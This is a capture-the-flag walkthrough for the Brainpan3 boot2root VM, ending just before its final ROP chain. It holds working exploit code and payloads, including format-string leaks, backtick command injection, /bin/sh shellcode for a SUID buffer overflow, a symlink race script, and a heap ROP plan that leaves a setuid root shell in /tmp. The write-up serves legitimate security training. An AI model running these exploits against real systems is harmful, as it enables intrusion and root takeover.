Brainpan3 is a typical boot2root VM that we boot and attempt to gain root access. This one is a bit long, but I hope it is entertaining and informative. Strap in!

Two toolsets are used heavily throughout this writeup:

Recon

First things first, let’s see where the heck this box is on our virtual network.

nmap -p- 192.168.224.0/24 -Pn --open -T5

-p- : Poke all 65536 ports -Pn : Assume each IP address is alive --open : Only show open ports -T5 : Scan at the speed of Buzz Lightgear

We see an IP with a weird port of 1337 open.

Host is up (0.0020s latency). Not shown: 65533 filtered ports, 1 closed port PORT STATE SERVICE 1337/tcp open waste

Open says me

Upon finding port 1337 , we can start having fun with Brainpan3. We can setup a small script to easily interact with the service:

from pwn import * # pip install --upgrade git+https://github.com/binjitsu/binjitsu.git HOST = '192.168.224.154' PORT = 1337 r = remote ( HOST , PORT ) r . interactive ()

Our first image of Brainpan3 is shown below:

__ ) _ \ \ _ _| \ | _ \ \ \ | _ _| _ _| _ _| __ \ | | _ \ | \ | | | _ \ \ | | | | | | __ < ___ \ | |\ | ___/ ___ \ |\ | | | | ____/ _| \_\ _/ _\ ___| _| \_| _| _/ _\ _| \_| ___| ___| ___| by superkojiman AUTHORIZED PERSONNEL ONLY PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS ACCESS CODE:

Even though the text says A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS , the initial thought was, “Oh cool, 4 digits, Go Go Gadget Brute Force!”. Turns out, the text wasn’t lieing. The number definitely did change after 3 attempts. To Plan B (and for less than $40)!

Given a login prompt, we could try to overflow the input buffer in an attempt for a stack overflow. The problem with this approach would be that we don’t have the binary to do analysis after the overflow. After a nice, hot shower (where all the CTF solutions are generated), the exploitation vector that makes the most sense is looking at format strings.

Let’s give some format strings a go!

ACCESS CODE: %x.%x.%x.%x.%x. ERROR #4: WHAT IS THIS, AMATEUR HOUR?

Herm.. are they filtering on %x ? Let’s try a different format string.

ACCESS CODE: %p.%p.%p.%p. ERROR #1: INVALID ACCESS CODE: 0xbfcf8b1c.(nil).0x2691.0xbfcf8b1c.

Bingo! So we now know that this input is vulnerable to malicious format strings. Since we are looking for a 4 digit access code, we can assume it is probably stored on the stack. Let’s try to use %d .

ACCESS CODE: %d.%d.%d.%d.%d.%d. ERROR #1: INVALID ACCESS CODE: -1076917476.0.6970.-1076917476.0.10.

Ah! What is in the third slot here: 6970 . Let’s try that access code:

ACCESS CODE: 6970 -------------------------------------------------------------- SESSION: ID-6439 AUTH [Y] REPORT [N] MENU [Y] -------------------------------------------------------------- 1 - CREATE REPORT 2 - VIEW CODE REPOSITORY 3 - UPDATE SESSION NAME 4 - SHELL 5 - LOG OFF ENTER COMMAND:

And we are in! Before we proceed further, let’s modify our script to automatically get past the access code:

Send %d.%d.%d.%d.%d.%d

Extract the third element (access code)

Submit the access code for login

From here, we’ll keep adding snippets of code to the script, but for the sake of brevity of the writeup, only the new code will be shown. Our result is below:

# r - Our socket object ### # Get access code ### r . sendline ( ' % d.' * 6 ) r . recvuntil ( "ACCESS CODE: " ) output = r . recv () code = output . split ( '.' )[ 2 ] log . info ( "Code identified: {}" . format ( code )) r . sendline ( code ) r . interactive ()

Step 2

Now that we are logged in, we can do a bit more exploration. Oh look, we are already given a shell using Command 4 :

ENTER COMMAND: 4 SELECTED: 4 reynard@brainpan3 $ ls total 0 -rw-rw-r-- 1 reynard reynard 22 May 10 22:26 .flag -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 never -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 gonna -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 give -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 you -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 up -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 never -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 gonna -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 let -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 you -rw-rw-r-- 1 reynard reynard 0 May 10 22:26 down

Of course, superkojiman would rick roll hackers. Thanks!

We can try to overflow this shell script/binary:

reynard@brainpan3 $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: ./shell terminated

No dice. Canary is in the way (supposedly).

After more exploration of trying the typical recon commands whoami , uname -a , ect, we can come to the conclusion that this shell is useless.

Let’s try the other options:

ENTER COMMAND: 1 SELECTED: 1 REPORT MODE IS DISABLED IN THIS BUILD

Looks like report mode is currently disabled. We could try to turn the report on, but how?

And now for something completely different

ENTER COMMAND: 2 SELECTED: 2 CODE REPOSITORY IS ALREADY ENABLED

Turning on the code repo enables a web service on port 8080, which also has a /repo directory containing the binaries used during this step:

Spending a little time with the binaries was interesting to see how they worked, but ultimately, nothing useful came from it. I’m not sure if this was a red herring or if there was another vulnerability here.

Back to your normal programming

The last functionality that we haven’t looked at yet is the Update Session Name function:

ENTER COMMAND: 3 SELECTED: 3 ENTER NEW SESSION NAME: thebarbershopper -------------------------------------------------------------- SESSION: thebarbershopper AUTH [Y] REPORT [N] MENU [Y] --------------------------------------------------------------

Interesting, can we replicate a string format vulnerability from the access code with the session name?

ENTER COMMAND: 3 SELECTED: 3 ENTER NEW SESSION NAME: %p.%p.%p.%p.%p. -------------------------------------------------------------- SESSION: 0xbfcf89cc.0x104.0x252e7025.0x70252e70.0x2e70252e. AUTH [Y] REPORT [N] MENU [Y] --------------------------------------------------------------

Why yes, yes we can. Let’s dump a good portion of the stack and see what we have. We’ll start by sending 70 %x. Note, we add the period at the end only to allow easier splitting of our resulting string. This allows for easier correlation between the individual format strings and their output.

ENTER COMMAND: SELECTED: 3 ENTER NEW SESSION NAME: -------------------------------------------------------------- SESSION: bf9a747c.104.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.ff0a2e78.b77a3c20.bf9a75cc.0.b77a3000.b77a3ac0.b77a4898.b75f7940.b76690b5.b77a3ac0.59.4e.59.b77a38a0.b77a3000.b77a3ac0. \xff <z\xb7�u\x9a\xbf AUTH [Y] REPORT [N] MENU [Y] --------------------------------------------------------------

We are looking at a lot of repeating values here.

>>> from pwn import * >>> unhex ( '252e7825' )[:: - 1 ] ' % x. % '

Looks like those repeating characters are our format string buffer. There is one segment in this format string that is interesting:

# b77a3ac0.59.4e.59.b77a38a0.b77a3000.b77a3ac0. >>> from pwn import * >>> for item in 'b77a3ac0.59.4e.59.b77a38a0.b77a3000.b77a3ac0.' . split ( '.' ): unhex ( item ) ' \xb7 z: \xc0 ' 'Y' 'N' 'Y' ' \xb7 z8 \xa0 ' ' \xb7 z0 \x00 ' ' \xb7 z: \xc0 '

The Y, N, Y looks very similar to the Y, N, Y of the dialog shown from the command menu. Can we try and write a buffer over the Y, N, Y so that it becomes Y, Y, Y ? Let’s grab where in the format string the 4e is in order to know how much to overflow.

# Update Session name command r . sendline ( '3' ) # Send format string shellcode = ' % x.' * 70 # Wipe the input buffer so we aren't reading old data r . clean () r . sendline ( shellcode ) r . recvuntil ( "SESSION: " ) # Grab the format string output session_name = r . recvuntil ( '

' ) . split ( '.' ) # Isolate the 'N' (0x4e) in our format string n_index = session_name . index ( '4e' ) log . info ( "Report 'N' at offset {}" . format ( n_index ))

After a few tries of different lengths, we succeed in overwriting the N with a Y .

n_index = session_name . index ( '4e' ) # Resend a buffer of 'Y's up to the location of the 'N' r . sendline ( '3' ) r . sendline ( 'Y' * ( 4 * ( n_index - 2 ) + 1 ) )

SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY AUTH [Y] REPORT [Y] MENU [Y] -------------------------------------------------------------- 1 - CREATE REPORT 2 - VIEW CODE REPOSITORY 3 - UPDATE SESSION NAME 4 - SHELL 5 - LOG OFF ENTER COMMAND: $

Notice the Report now has [Y] ! Boom!. Let’s see what we can do with reports.

Step 3

ENTER COMMAND: $ 1 SELECTED: 1 ENTER REPORT, END WITH NEW LINE: $ this is my first report! REPORT [this is my first report!@ SENDING TO REPORT MODULE [+] WRITING REPORT TO /home/anansi/REPORTS/20150910050336.rep [+] DATA SUCCESSFULLY ENCRYPTED [+] DATA SUCCESSFULLY RECORDED [+] RECORDED [\xbf\xa3\xa2\xb8����\xa6\xb2����\xb8\xbf����\xa4\xb9\xbf���]

From the text, it appears that our report is encrypted in some fashion and is stored at /home/anansi/REPORTS/20150910050336.rep . The binary for handing reporting is found in the /repo directory, so analyzing that will probably be of use, but we can try some low hanging fruit first before diving into the reverse engineering.

After a few fuzzing attempts looking for buffer overflow and command injection, we are given the following:

$ `notacommand` REPORT [`notacommand`rst report!@ing] SENDING TO REPORT MODULE sh: 1: notacommand: not found

Que wha?! We are given a command not found error message when trying to execute commands via back ticks. Could this mean command execution?

$ `whoami` REPORT [`whoami`mand`rst report!@```] SENDING TO REPORT MODULE sh: 1: Syntax error: EOF in backquote substitution

Hmm.. more error messages. This is probably coming through stderr. Could we receive command output by piping output to stderr?

$ `whoami >&2` REPORT [`whoami >&2`4] SENDING TO REPORT MODULE anansi

Nice! Now the fun part, let’s try to get a shell.

ENTER COMMAND: $ 1 ENTER REPORT, END WITH NEW LINE: `/bin/bash -i >&2` REPORT [`/bin/bash -i >&2`] SENDING TO REPORT MODULE bash: cannot set terminal process group (5677): Inappropriate ioctl for device bash: no job control in this shell anansi@brainpan3:/$ whoami anansi anansi@brainpan3:/$ uname -a Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux anansi@brainpan3:/$

And we have a user shell! As normal, let’s modify our exploit script to retrieve a shell for us automagically:

### # Get user shell ### # Just a bit of fun to check that we have a shell for command in [ 'uname -a' , 'whoami' , 'id' ]: r . clean () r . sendline ( '1' ) r . sendline ( '$({} >&2)' . format ( command )) r . recvuntil ( "SENDING TO REPORT MODULE" ) output = r . recvuntil ( '[+]' ) . split ( '

' )[ 2 ] log . success ( "{} - {}" . format ( command , output )) # Our actual shell payload r . clean () r . sendline ( '1' ) r . sendline ( '$(/bin/bash -i >&2)' ) r . interactive ()

Step 4

Time to begin basic recon of the anansi shell:

anansi@brainpan3:/$ $ whoami anansi anansi@brainpan3:/$ $ uname -a Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux anansi@brainpan3:/$ $ id uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)

Assuming we need to do some sort of privilege escalation, let’s look for SUID binaries:

anansi@brainpan3:/$ $ find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /usr/sbin/pppd /usr/sbin/uuidd /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/pt_chown /usr/lib/eject/dmcrypt-get-device /usr/bin/passwd /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/chfn /usr/bin/at /usr/bin/chsh /usr/bin/mtr /usr/bin/newgrp /usr/bin/pkexec /usr/bin/sudo /home/reynard/private/cryptor /bin/su /bin/ping /bin/fusermount /bin/mount /bin/umount /bin/ping6

The binary that sticks out here is /home/reynard/private/cryptor . Can we execute this binary?

anansi@brainpan3:/home/anansi$ $ /home/reynard/private/cryptor /home/reynard/private/cryptor Usage: /home/reynard/private/cryptor file key

So we can execute the cryptor binary. Let’s try to look at this binary:

anansi@brainpan3:/$ $ cd ~ cd ~ anansi@brainpan3:/home/anansi$ $ cp /home/reynard/private/cryptor . cp /home/reynard/private/cryptor . anansi@brainpan3:/home/anansi$ $ ls -la

Let’s pull this binary off Brainpan3 and onto our local machine. It looks like we are only allowed port 8080 out of the server. If we don’t activate the code repo (Command 2 ), then we can pull files off via Python’s built in web server.

anansi@brainpan3:/home/anansi$ $ python -m SimpleHTTPServer 8080 python -m SimpleHTTPServer 8080

On our host:

wget http://192.168.224.154:8080/cryptor

And now we have our binary:

192.168.224.156 - - [10/Sep/2015 06:36:19] "GET / HTTP/1.1" 200 - 192.168.224.156 - - [10/Sep/2015 06:36:25] "GET /cryptor HTTP/1.1" 200 -

Quick sanity check for the cryptor binary:

ctf@ctf-barberpole:~/ctfs/brainpan3/files$ checksec cryptor [*] '/home/ctf/ctfs/brainpan3/files/cryptor' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE

Awesome, no canary and no NX. This means, assuming we can find a buffer overflow, we can jump back to our shellcode on the stack/heap and execute our payload from there, avoiding ROP or other shenanigans.

Looking at the binary in IDA, we can see a buffer overflow condition. We see a buffer that is allocated 100 bytes.

There is then a check if the first argument ( argv[1] ) is less than or equal to 116 bytes.

Here we are given the situation of writing 116 bytes into a 100 byte buffer, potentially causing an overflow. With this knowledge, let’s test it dynamically.

Open gdb ./cryptor with Pwndbg enabled and throw a 116 byte string at crytor with a junk second string.

Create the 116 byte cyclic string using Binjitsu in order to help pin point where in the string our overflow happens. We know what it should be from static analysis, but it is always nice to have more than one data point.

>>> from pwn import * >>> cyclic(116) 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab'

Run the binary with our 116 byte string.

Loaded 53 commands. Type pwndbg for a list. Reading symbols from ./cryptor...(no debugging symbols found)...done. Only available when running pwn> r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab zzzz

Watch as we get a fancy crash.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA [----------REGISTERS----------] EAX 0x0 EBX 0x62616164 ('daab') ECX 0x0 EDX 0x0 EDI 0x636e652e ('.enc') ESI 0x0 EBP 0x61616179 ('yaaa') ESP 0xffffcb08 <-- 'baab' EIP 0x6261617a ('zaab') [----------BACKTRACE----------] Program received signal SIGSEGV

Awesome, so we have a crash at offset zaab in our cyclic string. Let’s create our payload by replacing the zaab to know that we have surgical control of EIP.

>>> shellcode = 'A' * cyclic_find('zaab') + 'BBBB' >>> shellcode += 'C' * (116 - len(shellcode)) >>> print shellcode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCC

If we are correct, we should see BBBB in EIP.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA [-------------------------------------REGISTERS-------------------------------------] *EAX 0x0 *EBX 0x43434343 ('CCCC') *ECX 0x0 *EDX 0x0 *EDI 0x636e652e ('.enc') *ESI 0x0 *EBP 0x41414141 ('AAAA') *ESP 0xffffcb08 <-- 'CCCC' *EIP 0x42424242 ('BBBB') <-- w00t w00t! [-------------------------------------BACKTRACE-------------------------------------] > Program received signal SIGSEGV

We also notice from static analyis that the second argument is stored in a global array found at 0x804a080 . If we write our shellcode in the global array, we can point EIP to that buffer and potentially win.

Our plan of attack here is as follows:

Overwrite the return address BBBB with 0x804a080

with Drop /bin/sh shellcode in the second argument in order to gain a shell

Our resulting testing script is below:

from pwn import * # pip install --upgrade git+https://github.com/binjitsu/binjitsu.git shellcode = 'A' * cyclic_find ( 'zaab' ) + p32 ( 0x804a080 ) shellcode += 'C' * ( 116 - len ( shellcode )) r = process ([ './cryptor' , shellcode , asm ( shellcraft . sh ())]) r . interactive ()

And we have a shell locally. Now we have to execute this command on the server. In order to do this, we create the command in our existing script, then send the command from the script. The process is shown below:

offset = cyclic_find ( 'zaab' ) buffer = 116 - len ( shellcode ) # Yay easy /bin/sh shells binsh_shellcode = asm ( shellcraft . sh ()) # Build argv1 argv1 = '"A" * {} + "{}" + "C" * {}' . format ( offset , r'\x80\xa0\x04\x08' , buffer ) # Build argv2 argv2 = '' . join ( ' \\ x{}' . format ( enhex ( binsh_shellcode )[ x : x + 2 ]) for x in xrange ( 0 , len ( enhex ( binsh_shellcode )), 2 )) # Final command actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""" . format ( argv1 , argv2 ) log . info ( actual_shellcode ) # Sometimes the command didn't work. This will repeat throwing the command until we get a reynard shell r . sendline ( 'cd /home/reynard/private' ) while True : r . clean () r . sendline ( actual_shellcode ) r . clean () r . sendline ( 'id' ) output = r . recv () if 'reynard' in output : break log . info ( "Shell recevied: reynard" ) r . interactive ()

And we are given our reynard shell!

[*] ./cryptor $(python -c 'print "A" * 100 + "\x80\xa0\x04\x08" + "C" * 12') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x6a\x0b\x58\x89\xe3\x31\xc9\x99\xcd\x80"') [*] Shell recevied: reynard [*] Switching to interactive mode uid=1000(anansi) gid=1003(webdev) euid=1002(reynard) groups=1002(reynard)

Step 4

A little more recon shows the following cron job:

$ cat /etc/cron.d/* * * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done

Looking at the privileges of /opt/.messenger we see the following:

$ ls -la /opt total 12 drwxr-xr-x 3 root root 4096 May 19 23:51 . drwxr-xr-x 21 root root 4096 Jun 17 22:05 .. drwxrwx--- 3 root dev 4096 Jun 10 22:32 .messenger

We see a command that is executed by root, pulling files from the /opt/.messenger directory. We need a user with dev group permissions in order for this to happen.

Examining the tail of /etc/passwd , we see puck . Looking at his id :

$ id puck uid=1001(puck) gid=1001(puck) groups=1001(puck),1004(dev)

He does have dev privileges allowing him to access /opt/.messenger . Let’s take a look at what puck has on the box.

$ cd /home/puck $ ls -la total 12 drwxrwx--- 2 reynard dev 4096 Jun 17 22:11 . drwxr-xr-x 3 root root 4096 May 19 23:35 .. -rw-r--r-- 1 reynard reynard 21 Jun 17 22:11 key.txt $ cat key.txt 9H37B81HZYY8912HBU93

Are there other keys on the box?

$ find / -name key* 2>/dev/null /mnt/usb/key.txt

Not sure what these keys are for. What does one do when hitting a small roadblock? Moar recon!

Looking at the netstat we see another service is active:

$ netstat -antop | grep LIST (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN - off (0.00/0/0) tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN - off (0.00/0/0) tcp 0 0 127.0.0.1:7075 0.0.0.0:* LISTEN - off (0.00/0/0)

Connecting to it

$ nc localhost 7075 Incorrect key

Not having any idea what service this is coming from, let’s perform a system wide strings to try and find the binary responsible for this.

$ find / -executable > exes $ for f in $(cat exes); do echo $f >> output; strings $f | grep "Incorrect key" >> output; done $ grep Incorrect output -B1 /usr/local/sbin/trixd Incorrect key

And to confirm

$ strings /usr/local/sbin/trixd | grep Incorrect Incorrect key

Loading trixd into IDA we see that the binary is checking to see if /mnt/usb/key.txt is a symlink, and if so, exits immediately. From here, it opens both /mnt/usb/key.txt and /home/puck/key.txt and checks if they are both the same. If they are the same, we are given a /bin/sh shell. Otherwise, we see the Incorrect key message.

The idea to beat this is to connect to the service, delete /mnt/usb/key.txt , then symlink /home/puck/key.txt to /mnt/usb/key.txt . If timed correctly, we will symlink after the check, bypassing it.

Not wanting to put binjitsu on the VM itself, we can use standard library functions for this portion.

Again, in order to make this work via one script, we will write a script to disk and execute it in order to get our shell with puck .

Our new code is below:

# Create our symlink racer on the server r . sendline ( """ echo " import os import socket import telnetlib import subprocess HOST = 'localhost' PORT = 7075 try: os.remove('/mnt/usb/key.txt') except: pass # Ensure we have a file to begin with subprocess.check_output(['touch', '/mnt/usb/key.txt']) # Connect and check for symlink r = socket.socket() r.connect((HOST, PORT)) # Quickly remove the non-symlinked file and re-symlink os.remove('/mnt/usb/key.txt') os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt') # Try for our shellz - Thanks for #livectf for showing this in previous CTFs. t = telnetlib.Telnet() t.sock = r t.interact() r.close() " > win.py """ ) r . sendline ( "python win.py" ) r . clean () r . sendline ( "whoami" ) output = r . recv () log . success ( "Shell received: {}" . format ( output )) sleep ( 1 ) r . interactive ()

Step 5

Now we are puck and need to finish what we believe is the last step to receiving a root shell. Going back to our cronjob, we need to analyze the msg_admin binary. We pull it off the VM in a similar manner as the cryptor binary.

Quick sanity check

ctf@ctf-barberpole:~/ctfs/brainpan3/files$ checksec msg_admin [*] '/home/ctf/ctfs/brainpan3/files/msg_admin' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE

Canaries, NX on.

Is ASLR is on?

$ cat /proc/sys/kernel/randomize_va_space 2

Yep. Time to pull out all the stops. From the cronjob, we realize that the binary takes a file. Analyzing the binary statically, we see that the file needs to contain lines of names and messages seperated by a | . Let’s create a small payload generation script to test this.

# make-pwnmsg.py from pwn import * with open ( 'pwn.msg' , 'w' ) as f : f . write ( '{}|{}

' . format ( 'a' * 4 , 'A' * 10 )) f . write ( '{}|{}

' . format ( 'b' * 4 , 'B' * 10 )) f . write ( '{}|{}

' . format ( 'b' * 4 , 'C' * 10 ))

Verify its contents.

ctf@ctf-barberpole:~/ctfs/brainpan3/files$ cat pwn.msg aaaa|AAAAAAAAAAAA bbbb|BBBBBBBBBBBB bbbb|CCCCCCCCCCCC

Execute the payload in gdb .

$ gdb ./msg_admin pwn> r 1 pwn.msg

We noticed a few malloc s in the static analysis. Let’s see how the heap is layed out.

pwn> hexdump 0x804c390 120 +0000 0x804c390 a8 c3 04 08 11 00 00 00 61 61 61 61 00 00 00 00 |....|....|aaaa|....| +0010 0x804c3a0 00 00 00 00 d1 00 00 00 41 41 41 41 41 41 41 41 |....|....|AAAA|AAAA| +0020 0x804c3b0 41 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |AA..|....|....|....| +0030 0x804c3c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |....|....|....|....| * +00e0 0x804c470 00 00 00 00 11 00 00 00 01 00 00 00 88 c4 04 08 |....|....|....|....| +00f0 0x804c480 98 c4 04 08 11 00 00 00 62 62 62 62 00 00 00 00 |....|....|bbbb|....| +0100 0x804c490 00 00 00 00 d1 00 00 00 42 42 42 42 42 42 42 42 |....|....|BBBB|BBBB| +0110 0x804c4a0 42 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |BB..|....|....|....|

It appears that each of our messages is back to back in the heap. It also looks like two pointers exist after our message (see address 0x804c47c and 0x804c480 ). How much space is available between our message and the last pointer.

>>> 0x804c480 - 0x804c3a8 216

Suspicious that we can overflow the two pointers with A s, let’s throw data to see if we can control those pointers.

# make-pwnmsg.py from pwn import * with open ( 'pwn.msg' , 'w' ) as f : f . write ( '{}|{}

' . format ( 'a' * 4 , cyclic ( 216 ))) f . write ( '{}|{}

' . format ( 'b' * 4 , 'B' * 10 )) f . write ( '{}|{}

' . format ( 'b' * 4 , 'C' * 10 ))

Executing the payload the same again in gdb.

[-------------------------------------REGISTERS-------------------------------------] *EAX 0x62626262 ('bbbb') *EBX 0x804c170 <-- 'bbbb' *ECX 0x804c170 <-- 'bbbb' *EDX 0x63616164 ('daac') *EDI 0x0 *ESI 0xffffc9d0 <-- 1 *EBP 0xffffca68 <-- 0 *ESP 0xffffc83c --> 0x8048cd0 (main+539) <-- mov eax, dword ptr [ebp - 0x4c] *EIP 0xf7e95d82 <-- mov dword ptr [edx], eax [---------------------------------------CODE----------------------------------------] => 0xf7e95d82 mov dword ptr [edx], eax [-------------------------------------BACKTRACE-------------------------------------] > f 0 f7e95d82 f 1 8048cd0 main+539 f 2 f7e23a83 __libc_start_main+243 f 3 8048741 _start+33 Program received signal SIGSEGV

Boom! Gotta love seeing SIGSEGV , eh? Our crashing instruction is mov [edx], eax .

Looks like we are overwriting the data in address daac (edx - from our cyclic function) with bbbb (eax - our second message). This is effectively a write-what-where condition, where we can write 4 bytes of whatever, wherever we want.

Looking at 0x804cd0 (our backtrace at frame 1 ), we see that we are in a strcpy. Set breakpoint there and restart:

pwn> bp 0x8048ccb [---------------------------------------CODE----------------------------------------] => 0x8048ccb <main+534> call 0x8048630 <strcpy@plt> dest: 0x63616164 ('daac') src: 0x804c170 <-- 'bbbb'

At the point of crash, our stack is in the following state:

[---------------------------------------STACK---------------------------------------] 00:0000| esp 0xffffc83c --> 0x8048cd0 (main+539) <-- mov eax, dword ptr [ebp - 0x4c] 01:0004| 0xffffc840 <-- 0x63616164 02:0008| 0xffffc844 --> 0x804c170 <-- 'bbbb' 03:000c| 0xffffc848 --> 0x804c008 <-- 0xfbad2488 04:0010| 0xffffc84c <-- 'aaaabaaacaaadaa...' 05:0014| 0xffffc850 <-- 'baaacaaadaaaeaa...' 06:0018| 0xffffc854 <-- 'caaadaaaeaaafaa...' 07:001c| 0xffffc858 <-- 'daaaeaaafaaagaa...'

We see our controlled buffer at stack address 0xffffc84c . We need to perform a stack pivot in order to move ESP to our buffer so we can start our ROP sequence.

Set bbbb to the address of a stack move 20 from binjitsu ( rop.search(move=20).address ) and set the offset of daac to the strtok GOT entry.

from pwn import * elf = ELF ( 'msg_admin' ) rop = ROP ( elf ) pivot = rop . search ( move = 20 ) . address # Need to move the stack 20 bytes to get to our ROP chain strtok = elf . got [ 'strtok' ] log . info ( "Pivot: {}" . format ( hex ( pivot ))) log . info ( "Strtok: {}" . format ( hex ( strtok ))) # Overwrite `strtok` in GOT with the stack pivot with open ( 'pwn.msg' , 'w' ) as f : sc = 'A' * cyclic_find ( 'daac' ) + p32 ( strtok ) sc += 'B' * ( 216 - len ( sc )) f . write ( '{}|{}

' . format ( 'a' * 4 , sc )) f . write ( '{}|{}

' . format ( p32 ( pivot ), 'B' * 12 ))

Awesome, so now we have stack control and EIP control.. aka.. prime ROP condition. ;-)

Let’s check out relevant ROP gadgets using ROPGadget. One note, be sure to increase the --depth so that we can see more gadgets. In this case, it was important. We wouldn’t be able to find our clear eax gadget without it.

$ ROPgadget --depth 30 --binary msg_admin

Two gadgets from the list stick out as interesting.

The gadget below will allow us to increment eax using a dereferenced pointer.

0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret

The next gadget will give us a way of clearing eax . Note, this gadget wasn’t visible from the default ROPgadget setting of --depth 10 .

0x08048790 : mov eax, 0x804b074 ; sub eax, 0x804b074 ; ...gadgets that don't matter... ; ret

Our plan of attack will be as follows (spoiler alert, the same as pretty much every CTF ASLR bypass):

Deference an entry in the GOT.

Calculate the difference between the given entry and system .

. Add this difference to our dereferenced value.

Call system('/tmp/foo') where /tmp/foo contains our commands.

Because we want to reduce the number of add offset instructions, let’s try and find which GOT entry in msg_admin is closest to system in their libc.

from pwn import * elf = ELF ( 'msg_admin' ) libc = ELF ( 'libc.so.6' ) for symbol in elf . symbols : try : if libc . symbols [ symbol ] < libc . symbols [ 'system' ]: print symbol , hex ( libc . symbols [ 'system' ] - libc . symbols [ symbol ]) except : pass

$ python find-good-addr.py __libc_start_main 0x26800 atol 0xe900

To make things a bit simpler, we will only be adding positive values to our GOT entry. Let’s use the atol entry since it has the smallest difference to system .

Next we need to find offsets in our binary that when accumulated, equal 0xe900 . One possible list is below:

0x8048595 = 0xc6e8 0x8048dff = 0x2203 0x8048833 = 0x14 0x8048fb9 = 0x1

Now that we have our system offset, we only need one more gadget to execute it.

0x8048786 : call eax;

We noticed that the string /tmp/foo is found in the usage statement. Let’s leverage that and use it as our command to execute. We need a command or two that, when executed as root , will give us a shell. One way to do this is below:

cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned;

We need to set the setuid bit (4777) in order for us, as puck, to execute the binary under root privileges.

The pieces are in place, let’s check out our final ROP chain.

